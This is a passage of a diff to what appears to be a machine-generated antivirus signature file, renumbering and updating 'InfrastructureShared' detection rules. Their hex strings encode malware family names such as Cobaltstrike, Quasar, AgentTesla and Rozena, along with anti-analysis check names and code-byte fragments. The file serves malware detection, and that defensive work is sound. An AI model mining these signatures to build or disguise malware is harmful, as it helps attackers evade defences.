0c 03 68 0f } //16675 - $a_e8_1 = {01 04 5b 90 00 01 00 0c 03 68 2f 1a bf ff e8 90 01 04 5b 90 00 01 00 0c 03 68 67 75 8b 11 e8 90 01 04 5b 90 00 00 00 78 50 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 41 6e 74 69 63 68 65 63 6b 69 6e 67 00 01 00 09 01 69 73 46 69 64 64 6c 65 72 01 00 0b 01 69 73 57 69 72 65 53 68 61 72 6b 01 00 05 01 69 73 57 50 45 01 00 0b 01 69 73 53 61 6e 64 62 6f 78 69 65 00 00 78 50 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 6f 6f 6e 2e 47 56 41 21 4d 54 42 00 03 00 10 01 89 d1 44 20 c1 08 d0 30 c8 44 08 c2 30 c2 74 20 02 00 10 01 0f 94 c2 08 d1 44 30 c2 44 30 c1 80 f1 01 08 d1 } //-25814 + $a_e8_1 = {01 04 5b 90 00 01 00 0c 03 68 2f 1a bf ff e8 ?? ?? ?? ?? 5b 90 00 01 00 0c 03 68 67 75 8b 11 e8 ?? ?? ?? ?? 5b 90 00 00 00 78 50 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 41 6e 74 69 63 68 65 63 6b 69 6e 67 00 01 00 09 01 69 73 46 69 64 64 6c 65 72 01 00 0b 01 69 73 57 69 72 65 53 68 61 72 6b 01 00 05 01 69 73 57 50 45 01 00 0b 01 69 73 53 61 6e 64 62 6f 78 69 65 00 00 78 50 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 45 4e 21 4d 54 42 00 04 00 20 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 ?? 59 1a 00 ?? ?? 0d 00 00 92 2f } //-25814 condition: ((#a_6c_0 & 1)*16675+(#a_e8_1 & 1)*-25814) >=3 } -rule _InfrastructureShared_3773{ +rule _InfrastructureShared_3896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 53 79 73 64 75 70 61 74 65 2e 46 00 01 00 0c 03 68 0f 2a 9b cd e8 90 01 04 5b 90 00 01 00 0c 03 68 2f 1a bf ff e8 90 01 04 5b 90 00 01 00 0c 03 68 67 75 8b 11 e8 90 01 04 5b 90 00 00 00 78 50 00 00 03 00 03 00 } //21283 $a_23_1 = {53 54 52 3a 41 6e 74 69 63 68 65 63 6b 69 6e 67 00 01 00 09 01 69 73 46 69 64 64 6c 65 72 01 00 0b } //4 - $a_57_2 = {72 65 53 68 61 72 6b 01 00 05 01 69 73 57 50 45 01 00 0b 01 69 73 53 61 6e 64 62 6f 78 69 65 00 00 78 50 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 6f 6f 6e 2e 47 56 41 21 4d 54 42 00 03 00 10 01 89 d1 44 20 c1 08 d0 30 c8 44 08 c2 30 c2 74 20 02 00 10 01 0f 94 c2 08 d1 44 30 c2 44 30 c1 80 f1 01 08 d1 } //26881 + $a_57_2 = {72 65 53 68 61 72 6b 01 00 05 01 69 73 57 50 45 01 00 0b 01 69 73 53 61 6e 64 62 6f 78 69 65 00 00 78 50 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 45 4e 21 4d 54 42 00 04 00 20 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 ?? 59 1a 00 ?? ?? 0d 00 00 92 2f } //26881 condition: ((#a_46_0 & 1)*21283+(#a_23_1 & 1)*4+(#a_57_2 & 1)*26881) >=3 } -rule _InfrastructureShared_3774{ +rule _InfrastructureShared_3897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : - $a_54_0 = {3a 41 6e 74 69 63 68 65 63 6b 69 6e 67 00 01 00 09 01 69 73 46 69 64 64 6c 65 72 01 00 0b 01 69 73 57 69 72 65 53 68 61 72 6b 01 00 05 01 69 73 57 50 45 01 00 0b 01 69 73 53 61 6e 64 62 6f 78 69 65 00 00 78 50 00 00 05 00 05 00 02 00 21 23 41 4c 46 } //18467 - $a_6f_1 = {61 6e 3a 57 69 6e 33 32 2f 4e 6f 6f 6e 2e 47 56 41 21 4d 54 42 00 03 00 10 01 89 d1 44 20 c1 08 d0 30 c8 44 08 c2 30 c2 74 20 02 00 10 01 0f 94 c2 08 d1 44 30 c2 44 30 c1 80 f1 01 08 d1 00 00 78 50 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 48 4d 21 4d 54 42 00 0a } //21562 - $a_01_2 = {c2 } //7424 - $a_01_3 = {d0 0f b6 44 05 9e 31 f0 88 03 83 45 ec 01 8b 45 b4 39 45 ec 0f 82 7b 00 00 78 50 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 6f 67 67 6c 65 46 72 6f 67 2e 41 21 64 68 61 00 0a 00 1d 03 ff d3 48 c7 06 48 b8 00 00 c7 46 08 00 00 ff e0 48 8d 90 01 03 ff ff 48 89 46 02 90 00 00 00 78 50 00 00 0a 00 0a 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4f 32 33 21 4d 54 42 00 0a 00 0c 01 03 04 17 58 7e 18 00 00 04 5d 91 0a 0a 00 0c 01 02 03 17 58 7e 17 00 00 04 5d 91 0a 00 00 78 50 00 00 14 00 14 00 02 00 21 23 41 6c 6c 6f 77 4c 69 } //17803 + $a_54_0 = {3a 41 6e 74 69 63 68 65 63 6b 69 6e 67 00 01 00 09 01 69 73 46 69 64 64 6c 65 72 01 00 0b 01 69 73 57 69 72 65 53 68 61 72 6b 01 00 05 01 69 73 57 50 45 01 00 0b 01 69 73 53 61 6e 64 62 6f 78 69 65 00 00 78 50 00 00 04 00 04 00 01 00 21 23 54 45 4c } //18467 + $a_6f_1 = {61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 45 4e 21 4d 54 42 00 04 00 20 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 90 01 01 59 1a 00 90 01 02 0d 00 00 92 2f 90 00 00 00 78 50 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 7a 65 6e 61 2e 41 48 42 21 4d 54 42 00 02 00 07 01 80 34 } //21562 + $a_00_2 = {e2 02 00 17 } //-31736 + $a_84_3 = {84 90 01 04 83 42 84 81 6c 31 84 84 84 07 44 81 0d 90 00 00 00 78 50 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 51 75 61 73 61 72 2e 45 41 4d 46 21 4d 54 42 00 05 00 22 01 00 02 07 8f 23 00 00 01 25 47 06 07 1f 10 5d 91 61 d2 52 00 07 17 58 0b 07 02 8e 69 fe 04 0c 08 2d de 00 00 78 50 00 } //22787 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*21562+(#a_01_2 & 1)*7424+(#a_01_3 & 1)*17803) >=3 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*21562+(#a_00_2 & 1)*-31736+(#a_84_3 & 1)*22787) >=3 } -rule _InfrastructureShared_3775{ +rule _InfrastructureShared_3898{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 6f 6f 6e 2e 47 56 41 21 4d 54 42 00 03 00 10 01 89 d1 44 20 c1 08 d0 30 c8 44 08 c2 30 c2 74 20 02 00 10 01 0f 94 c2 08 d1 44 30 c2 44 30 c1 80 f1 01 08 d1 00 00 78 50 00 00 0a 00 0a 00 } //16675 - $a_23_1 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 48 4d 21 4d } //1 LF:Trojan:Win64/Cobaltstrike.HM!M + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 45 4e 21 4d 54 42 00 04 00 20 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 90 01 01 59 1a 00 90 01 02 0d 00 00 92 2f 90 00 00 00 78 } //21539 condition: - ((#a_46_0 & 1)*16675+(#a_23_1 & 1)*1) >=5 + ((#a_4c_0 & 1)*21539) >=4 } -rule _InfrastructureShared_3776{ +rule _InfrastructureShared_3899{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 7a 65 6e 61 2e 41 48 42 21 4d 54 42 00 02 00 07 01 80 34 08 84 04 00 e2 02 00 17 03 59 6c 84 84 84 90 01 04 83 42 84 81 6c 31 84 84 84 07 44 81 0d 90 00 00 00 78 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=4 + +} +rule _InfrastructureShared_3900{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 51 75 61 73 61 72 2e 45 41 4d 46 21 4d 54 42 00 05 00 22 01 00 02 07 8f 23 00 00 01 25 47 06 07 1f 10 5d 91 61 d2 52 00 07 17 58 0b 07 02 8e 69 fe 04 0c 08 2d de 00 00 78 50 00 00 0a 00 0a 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=5 + +} +rule _InfrastructureShared_3901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -39026,7 +40319,7 @@ rule _InfrastructureShared_3776{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_3777{ +rule _InfrastructureShared_3902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -39036,7 +40329,7 @@ rule _InfrastructureShared_3777{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_3778{ +rule _InfrastructureShared_3903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -39047,7 +40340,7 @@ rule _InfrastructureShared_3778{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*30575) >=10 } -rule _InfrastructureShared_3779{ +rule _InfrastructureShared_3904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -39058,7 +40351,7 @@ rule _InfrastructureShared_3779{ ((#a_6c_0 & 1)*16675+(#a_61_1 & 1)*25189) >=20 } -rule _InfrastructureShared_3780{ +rule _InfrastructureShared_3905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -39068,7 +40361,7 @@ rule _InfrastructureShared_3780{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3781{ +rule _InfrastructureShared_3906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -39078,7 +40371,7 @@ rule _InfrastructureShared_3781{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3782{ +rule _InfrastructureShared_3907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -39088,7 +40381,7 @@ rule _InfrastructureShared_3782{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3783{ +rule _InfrastructureShared_3908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -39098,7 +40391,7 @@ rule _InfrastructureShared_3783{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3784{ +rule _InfrastructureShared_3909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 02 00 21 " @@ -39109,7 +40402,7 @@ rule _InfrastructureShared_3784{ ((#a_46_0 & 1)*16675+(#a_23_1 & 1)*1) >=100 } -rule _InfrastructureShared_3785{ +rule _InfrastructureShared_3910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39119,7 +40412,17 @@ rule _InfrastructureShared_3785{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3786{ +rule _InfrastructureShared_3911{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 53 6c 61 73 68 57 61 76 65 2e 41 21 64 68 61 00 01 00 20 40 c7 44 24 20 ba 96 d5 83 c7 44 24 24 e7 cd 9f b9 c7 44 24 28 99 f0 ad a9 66 c7 44 24 2c c5 34 e8 00 00 78 51 00 00 01 00 01 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_3912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39129,7 +40432,7 @@ rule _InfrastructureShared_3786{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3787{ +rule _InfrastructureShared_3913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39139,7 +40442,7 @@ rule _InfrastructureShared_3787{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3788{ +rule _InfrastructureShared_3914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39149,7 +40452,7 @@ rule _InfrastructureShared_3788{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3789{ +rule _InfrastructureShared_3915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39159,7 +40462,7 @@ rule _InfrastructureShared_3789{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3790{ +rule _InfrastructureShared_3916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39169,7 +40472,17 @@ rule _InfrastructureShared_3790{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3791{ +rule _InfrastructureShared_3917{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 55 45 46 49 2f 41 6e 61 6d 6f 72 70 68 6f 73 69 73 2e 41 41 00 01 00 23 03 88 00 00 00 90 02 0f 8b 90 01 01 20 90 02 4b 8b 90 01 01 24 90 02 0f 8b 90 01 01 1c 90 02 0f 8b 04 90 00 00 00 78 51 00 00 01 00 01 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_3918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39179,7 +40492,7 @@ rule _InfrastructureShared_3791{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3792{ +rule _InfrastructureShared_3919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39189,7 +40502,7 @@ rule _InfrastructureShared_3792{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3793{ +rule _InfrastructureShared_3920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39199,7 +40512,7 @@ rule _InfrastructureShared_3793{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3794{ +rule _InfrastructureShared_3921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39209,7 +40522,7 @@ rule _InfrastructureShared_3794{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3795{ +rule _InfrastructureShared_3922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39219,7 +40532,7 @@ rule _InfrastructureShared_3795{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3796{ +rule _InfrastructureShared_3923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39229,7 +40542,7 @@ rule _InfrastructureShared_3796{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3797{ +rule _InfrastructureShared_3924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39239,7 +40552,7 @@ rule _InfrastructureShared_3797{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3798{ +rule _InfrastructureShared_3925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39249,7 +40562,7 @@ rule _InfrastructureShared_3798{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3799{ +rule _InfrastructureShared_3926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39259,7 +40572,7 @@ rule _InfrastructureShared_3799{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3800{ +rule _InfrastructureShared_3927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39269,7 +40582,7 @@ rule _InfrastructureShared_3800{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3801{ +rule _InfrastructureShared_3928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39279,7 +40592,7 @@ rule _InfrastructureShared_3801{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3802{ +rule _InfrastructureShared_3929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39289,7 +40602,7 @@ rule _InfrastructureShared_3802{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3803{ +rule _InfrastructureShared_3930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39299,7 +40612,7 @@ rule _InfrastructureShared_3803{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3804{ +rule _InfrastructureShared_3931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39309,7 +40622,7 @@ rule _InfrastructureShared_3804{ ((#a_54_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3805{ +rule _InfrastructureShared_3932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39319,7 +40632,7 @@ rule _InfrastructureShared_3805{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3806{ +rule _InfrastructureShared_3933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39329,7 +40642,7 @@ rule _InfrastructureShared_3806{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3807{ +rule _InfrastructureShared_3934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39339,7 +40652,7 @@ rule _InfrastructureShared_3807{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3808{ +rule _InfrastructureShared_3935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39349,7 +40662,7 @@ rule _InfrastructureShared_3808{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3809{ +rule _InfrastructureShared_3936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39359,7 +40672,7 @@ rule _InfrastructureShared_3809{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3810{ +rule _InfrastructureShared_3937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39369,7 +40682,7 @@ rule _InfrastructureShared_3810{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3811{ +rule _InfrastructureShared_3938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39379,7 +40692,7 @@ rule _InfrastructureShared_3811{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3812{ +rule _InfrastructureShared_3939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39389,7 +40702,7 @@ rule _InfrastructureShared_3812{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3813{ +rule _InfrastructureShared_3940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39399,7 +40712,7 @@ rule _InfrastructureShared_3813{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3814{ +rule _InfrastructureShared_3941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39409,7 +40722,7 @@ rule _InfrastructureShared_3814{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3815{ +rule _InfrastructureShared_3942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39419,7 +40732,7 @@ rule _InfrastructureShared_3815{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3816{ +rule _InfrastructureShared_3943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39429,7 +40742,7 @@ rule _InfrastructureShared_3816{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3817{ +rule _InfrastructureShared_3944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39439,7 +40752,7 @@ rule _InfrastructureShared_3817{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3818{ +rule _InfrastructureShared_3945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39449,7 +40762,7 @@ rule _InfrastructureShared_3818{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3819{ +rule _InfrastructureShared_3946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39459,7 +40772,7 @@ rule _InfrastructureShared_3819{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3820{ +rule _InfrastructureShared_3947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39469,7 +40782,17 @@ rule _InfrastructureShared_3820{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3821{ +rule _InfrastructureShared_3948{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 36 34 2f 4d 61 72 74 65 2e 47 56 42 31 00 01 00 2d 01 49 63 c8 48 8d 14 24 48 03 d1 0f b6 0a 41 88 09 44 88 12 41 0f b6 11 49 03 d2 0f b6 ca 0f b6 14 0c 41 30 13 49 ff c3 48 83 eb 01 75 9a 00 00 78 51 00 00 01 00 01 00 01 00 21 23 48 53 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_3949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39479,7 +40802,7 @@ rule _InfrastructureShared_3821{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3822{ +rule _InfrastructureShared_3950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39489,7 +40812,7 @@ rule _InfrastructureShared_3822{ ((#a_57_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3823{ +rule _InfrastructureShared_3951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39499,7 +40822,7 @@ rule _InfrastructureShared_3823{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3824{ +rule _InfrastructureShared_3952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39509,7 +40832,7 @@ rule _InfrastructureShared_3824{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3825{ +rule _InfrastructureShared_3953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39519,7 +40842,7 @@ rule _InfrastructureShared_3825{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3826{ +rule _InfrastructureShared_3954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39529,7 +40852,7 @@ rule _InfrastructureShared_3826{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3827{ +rule _InfrastructureShared_3955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39539,7 +40862,7 @@ rule _InfrastructureShared_3827{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3828{ +rule _InfrastructureShared_3956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39549,7 +40872,7 @@ rule _InfrastructureShared_3828{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3829{ +rule _InfrastructureShared_3957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39559,7 +40882,7 @@ rule _InfrastructureShared_3829{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3830{ +rule _InfrastructureShared_3958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39569,7 +40892,7 @@ rule _InfrastructureShared_3830{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3831{ +rule _InfrastructureShared_3959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39579,7 +40902,7 @@ rule _InfrastructureShared_3831{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3832{ +rule _InfrastructureShared_3960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39589,7 +40912,7 @@ rule _InfrastructureShared_3832{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3833{ +rule _InfrastructureShared_3961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39599,7 +40922,7 @@ rule _InfrastructureShared_3833{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3834{ +rule _InfrastructureShared_3962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39609,7 +40932,7 @@ rule _InfrastructureShared_3834{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3835{ +rule _InfrastructureShared_3963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39619,7 +40942,7 @@ rule _InfrastructureShared_3835{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3836{ +rule _InfrastructureShared_3964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39629,7 +40952,7 @@ rule _InfrastructureShared_3836{ ((#a_4c_0 